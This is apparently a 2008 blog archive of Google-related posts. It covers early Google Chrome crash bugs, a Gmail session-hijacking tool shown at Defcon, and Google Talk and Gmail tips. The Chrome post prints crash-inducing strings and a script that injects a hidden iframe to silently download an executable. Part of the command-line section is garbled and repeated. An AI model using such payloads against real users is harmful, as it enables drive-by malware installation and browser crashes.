Google Chrome Vulnerabilities list

Posted on September 6, 2008 by Ashik

Ok, news is old, Google has released a new browser and all the web is blogging about it. But my duties are to talk about security so I’m not going to review Google Chrome’s features but to list the vulnerabilities already found after only 16 hours from the release. (I fear this post will be outdated in few Hours)

Rishi Narang has been the first. A Denial Of Service simple as pie:

Just browse this page and place your mouse over this link (make sure you bookmark this page if you want to read on though):

CRASH ME

Just “evil:%” in the anchor text is capable of crashing all the Chrome tabs (despite all the tabs are separated processes).

Someone has also reported that by entering a very long bookmark may kill the browser. Length has not been given but it’s worth a try.

If your Chrome is still alive you may want to try entering

about@:

in the location bar.

Good thing is that the browser doesn’t need Administrator rights to run.

Matt Cutt from his blog has stated that the chapter 11 of Eula will be updated. Yes the chapter about you giving all the rights to Google:

a perpetual, irrevocable, worldwide, royalty-free, and non-exclusive license to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content which you submit, post or display on or through, the Services.

I’m worried about the enthusiastic reviews I see online.
Google brand was enough to push an unfinished product up to make it 1% of the User-Agent’s used on its very first day.
The risk is high, fuzzers are still crunching…

Update:

Another Bug found.
< script > document.write(‘< iframe src=”http://www.example.com/hello.exe” frameborder=”0″ width=”0″ height=”0″ >’); < / script >

This script should (I haven’t tested it yet, will do it later) trigger a silent download on the client machine.

Gmail Account Hacking Tool

Posted on August 19, 2008 by Ashik

204

A tool that automatically steals IDs of non-encrypted sessions and breaks into Google Mail accounts has been presented at the Defcon hackers’ conference in Las Vegas.

Last week Google introduced a new feature in Gmail that allows users to permanently switch on SSL and use it for every action involving Gmail, and not only, authentication. Users who did not turn it on now have a serious reason to do so as Mike Perry, the reverse engineer from San Francisco who developed the tool is planning to release it in two weeks.

When you log in to Gmail the website sends a cookie (a text file) containing your session ID to the browser. This file makes it possible for the website to know that you are authenticated and keep you logged in for two weeks, unless you manually hit the sign out button. When you hit sign out this cookie is cleared.

Even though when you log in, Gmail forces the authentication over SSL (Secure Socket Layer), you are not secure because it reverts back to a regular unencrypted connection after the authentication is done. According to Google this behavior was chosen because of low-bandwidth users, as SLL connections are slower.

The problem lies with the fact that every time you access anything on Gmail, even an image, your browser also sends your cookie to the website. This makes it possible for an attacker sniffing traffic on the network to insert an image served from http://mail.google.com and force your browser to send the cookie file, thus getting your session ID. Once this happens the attacker can log in to the account without the need of a password. People checking their e-mail from public wireless hotspots are obviously more likely to get attacked than the ones using secure wired networks. Todd Mumford, from the SEO company called SEO Visions Inc, states “This can be a serious problem for Internet Marketers who travel often and use their wireless laptops and Gmal services often and do not always have access to a secure connection”

Perry mentioned that he notified Google about this situation over a year ago and even though eventually it made this option available, he is not happy with the lack of information. “Google did not explain why using this new feature was so important” he said. He continued and explained the implications of not informing the users, “This gives people who routinely log in to Gmail beginning with an https:// session a false sense of security, because they think they’re secure but they’re really not.”

If you are logging in to your Gmail account from different locations and you would like to benefit from this option only when you are using unsecured networks, you can force it by manually typing https://mail.google.com before you log in. This will access the SSL version of Gmail and it will be persistent over your entire session and not only during authentication.

Google Talk Cheats

Posted on August 3, 2008 by Ashik

I dont think I ‘ve missed out anything here , Its Full n Final

With Google Talk being all the craze right now, some people hacking it, and others loving it, I figured that I would post a list of tips and tricks for those curious about the extra “features” Google implemented and has not said much about.

Registry Tweaks

You can edit most settings by opening regedit (start -> regedit),
and navigating to the key HKEY_CURRENT_USER\Software\Google\Google Talk.
The “Google/Google Talk” key has several sub-keys that hold different option values:
Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.
Autoupdate: Stores the current version information. When the client checks for updates it compares Google’s response with these values. If an update is needed, it will download and update the new version.
Options: This is the most interesting part, where most of the current hacks should be used (keep reading).
Process: Stores the process ID. Probably used by Google Talk to detect if it’s already running or not.

1.) HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a “pin” next to the minimize button that keeps the windows on top of all the other open windows when clicked.
2.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown
3.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
If 1, status will be set as Away after the specified number of minutes.
4.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
If 1, status will be set as Away after the specified number of minutes.
5.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.

More Tips & Tricks

Change the font size – While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.Insert line breaks – If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.

Bold Text – To write something bold, you can use an asterisk before and after the word, like *this* .
Italic Text – To use italics, use an underscore before an after the word, like _this_ .

Switch windows – Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM’s and don’t care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.

Invitation Tips – You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options).

Show Hyperlinks – You can show your homepage or blog URL simply by entering the it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

A message can be 32767 characters long.

How To Conference Calls :

What you need to do to have conference calls: Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read “C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex. Open 2nd instances of the software on every user’s computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Nickname & Status Message :

You can’t change your nickname in a way that other people will see it change. Every nickname in the Google Talk contactlist is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name. As a result all of your emails will have that nick as well, there is no way to seperate the two. You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

Contacts :

You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
The Gmail account ‘user@gmail.com’ can’t be invited as your friend.
[eminimall]
Play Music :

It’s possible to broadcast music, MP3, etc.. through Google Talk.
Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open up “Volume Control”. Select “Options” and then “Properties”. Then check the button next to “Recording” then click OK. You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up. On my computer I selected “Wave Out Mix”. Click on the green phone in Google Talk and call your friend.

Keyboard Shortcuts

Ctrl + E – It centralizes the selected text, or the current line.
Ctrl + R – It justifies to the right the selected text, or the current line.
Ctrl + L – It justifies to the left the selected text, or the current line.
Ctrl + I – The same thing does that Tab.
Tab – It is giving the area to each of the windows opened by Google Talk.
Ctrl + Tab – The same thing does that Shift + Tab .
Shift + Tab – The same thing does that Tab but in reverse.
Ctrl + Shift + L -Switch between points, numbers, letters, capital letters, roman numbers and capital roman numbers
Ctrl + 1 (KeyPad) – It does a simple space between the lines.
Ctrl + 2 (KeyPad) – It does a double space between the lines.
Ctrl + 5 (KeyPad) – A space does 1.5 between the lines.
Ctrl + 1 (NumPad) – It goes at the end of the last line.
Ctrl + 7 (NumPad) – It goes at the begin of the last line.
Ctrl + F4 – It closes the current window.
Alt + F4 – It closes the current window.
Alt + Esc – It Minimize all the windows.
Windows + ESC – Open Google Talk (if it’s minimized, or in the tray)
F9 – Open Gmail to send an email to the current contact.
F11 – It initiates a telephonic call with your friend.
F12 – It cancels a telephonic call.
Esc – It closes the current window.

[HOWTO] Use multiple identities on Google Talk

Want to run Google Talk with multiple Gmail identities? If you have several Google Gmail accounts you also may want to run multiple instances of Google Talk This is especially important for families that share a single PC. Nothing worse than a family member signing you out so they can sign in under their own account!
Basically, to have “Google Polygamy” you need to run Google Talk with the following switch: /nomutex
Step 1: Right-click on the desktop
Step 2: Select New
Step 3: Select Shortcut
Step 4: Paste this into the text box:
“c:\program files\google\google talk\googletalk.exe” /nomutex
Step 5: Click Next and choose a shortcut name such as Google Talk1, Google Talk2, or something related to your Gmail account for easy remembering which account is which.
Step 6: Click OK a few times.

[HOWTO] Use Google Talk via a Web Browser

You want to use Google Talk anywhere ? Follow these guidelines
Step 1: Opens your favorite web browser at the following address :
http://www.webjabber.net:8080/jim/
Step 2: Follow the instructions of the Page.
Step 3: You can talk with your friends
Google’s Secret Command-Line Parameters
There are a few secret parameters you can add to Google Talk and make it function differently.
The most important, I think, is /nomutex, which allows you to run more than one instance of GT. Here are the others:
/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the “Start automatically with Windows” option is unchecked, it won’t start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google’s GAIA mechanism. Used for testing the plain method on Google’s servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ?
To add these, open up your GT shortcut, and where it says “Target:” add one or more of these inside the quotations, but after the .exe part.

Command Line stuff

There are a few secret parameters you can add to Google Talk and make it function differently. The most important, I think, is /nomutex, which allows you to run more than one instance of GT. He Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the “Start automatically with Windows” option is unchecked, it won’t start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google’s GAIA mechanism. Used for testing the plain method on Google’s servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ? To add these, open up your GT shortcut, and where it says “Target:” add one or more of these inside the quotations, but after the .exe part. ere are the others:

/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google

Gmail chat tips and tricks round up

Posted on July 12, 2008 by Ashik

Lets do some Gmail Tips and hacks round up today. Mostly about gmail chat and other unknown features that you might not know about.

Use IMAP.
To find if someone has blocked you, do“Get info” in pidgin, if you get blank, then you have been blocked otherwise you will get some info for sure, if he is just offline.
Use alternate XMPP clients like pidgin, to set your status to away even when you are *not*.
If you use pidgin, you can find out where from your buddy is online from. You would see some additional Strings like: Talkv12348236356 or gmail.3232344 or something else, like Office326532A6 or BaseStation73246BVF etc. This indicates client being used and the number is usually same for a particular client. Hence, Talk.XX… means buddy using gTalk, gmail.XX… means, he’s online from a browser window, the rest without the dots, indicating the client is an XMPP client. For e.g. If I am at office you’d see my status as Office326532A6 or when I am at home, you’d see BaseStation73246BVF. I can of course customize these strings with whatever I want using my client e.g. pidgin. Also, if you buddy is online from different locations, you’d see status IDs for all the locations he’s online from.
To mark a single mail in a thread as new , this is not possible normally as if you select a mail and mark it as new, entire thread is marked as new. The trick is to delete all other mails in the thread, then mark the mail as unread and then move back other mails from the thread from Trash back to Inbox.

[eminimall]

The story about Gmail chat windows: The chat windows follow a basic principle that it would be maximized in a single browser window. So, if you are chatting in a particular browser window, the chat window in all other browsers (where you are concurrently logged in) would minimize. If you maximize somewhere else, the window would minimize everywhere else.
Use keyboard shortcuts as much as possible, they are fast and efficient.
Gmail now shows you your last account activity, down at the bottom. It lets you know your last 5 login details, IPs and browsers used to login.
You can install an extension called Gmail Drive using which you can store your files online at gmail servers. The drive would mount as a normal external drive.
Evolution can integrate its address book with your Pidgin (hence gmail) buddies. It even shows you their avatars along with their mails, when they mail you.
Use Google calendar as your primary calendar. Google calendar, integrates efficiently with most email clients. For e.g. evolution, thunderbird. Imagine right clicking on a mail, and saying “convert to a meeting” to exporting it to your gmail calendar. Further you can add people to the meeting. Gnome calendar goes a step further to show all calendar events (even google calendar) right in your desktop calendar.

Prevent spam in your Gmail account

Posted on October 9, 2007 by Ashik

Are you worried about spam in your precious gmail account ?

If yes, then you would like to consider making aliases of your gmail id to use when you’re not sure whether you’re signing up for something safe or not.

It is a very simple task to provide an alias of your gmail id. Whenever you sign up on the internet on some site that you think may not be safe (or a site which might send you spam),all you have to do is give out the email address as

username+insertanythingyouwanthere@gmail.com

For example if your email id is james@gmail.com,you can provide james+21@gmail.com or james+test@gmail.com .You can put anything after the + and all email sent will still go to your gmail account.

In the event that you did give your email to a spammer and you start receiving spam, don’t worry! Just create a filter, and make everything that is sent to username+whateveryouputhere@gmail.com go to the trash. This way all the spam that you might get will automatically be deleted.

Use Gmail Space as a Hard Drive

Posted on September 25, 2007 by Ashik

Gmail is really famous among users of all the email clients available on the web and that is not because it has a cool interface rather it is famous for its reliability and huge space (3GB now thats something). Google doesn’t stop here and recently Google announced that users can now buy more online storage for Google services just by paying a little amount. So why not use this online storage space and use it externally (Probably as a network drive or one of your own computer hard drives).

Use Google Storage Space as Google Drive

Here I have some great little utilities (3 softwares and 2 web scripts) that you can try to use your Gmail account space as your external hard drive. You will be able to download (or should I say copy) attachments from your Gmail account to your computer just as you would do from a drive on your computer. You can also use this space to upload content direct from your computer and save it online in your Gmail account.

1. GMail Drive

GMail Drive is third party addon for Windows that lets you use your Gmail account space as an extra drive on your computer. It allows a user to access a virtual drive stored in a Gmail e-mail account by causing the contents of the Gmail account to appear as a new network share on the user’s workstation. In order to use this add-on, the user needs a Gmail e-mail account. The add-on enables the user to use the standard Windows desktop file copy and paste commands to transfer files to and from the Gmail account as if it was a drive on the user’s computer.

Download GMail Drive

2. GSpace

GSpace is a firefox extension that turns your 3GB of your Gmail account into free online storage. With Gspace you can manage unlimited Gmail accounts to store all type of files within its simple, user friendly interface. You can also listen your favourite stored music directly from your Gspace, view your collections of pictures and manage your Gdrive files as well.

Download GSpace

3. GmailFS

GmailFS or Gmail File System is a virtual file system developed by Richard Jones which allows users to mount and use their Gmail email account’s storage as a local disk drive. GmailFS is written for Linux, but Windows and Mac OS X ports do exist. Using GmailFS will provide the user with roughly three gigabytes of online storage. The speed of this filesystem is limited by the speed of the user’s Internet connection, and the upload/download speed of the Gmail server. Files can be any size, and are stored as (segmented) attachments.

Download GmailFS

4. G-Share

G-Share is a PHP script that allows you to share your gmail attachments in a webpage, it is a download center with files stored in your Gmail account. You need a MySQL database to store data such as download counters, visitors, etc

Download G-Share

5. PHP Gmail Drive

PhpGmailDrive, also known as PGD, is an open source software program written in PHP to share Gmail file attachments on the web. PGD is based on GmailFS, a Gmail attachment file system that uses email subjects for organization.

Download PGD

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Category Archives: Google Hacking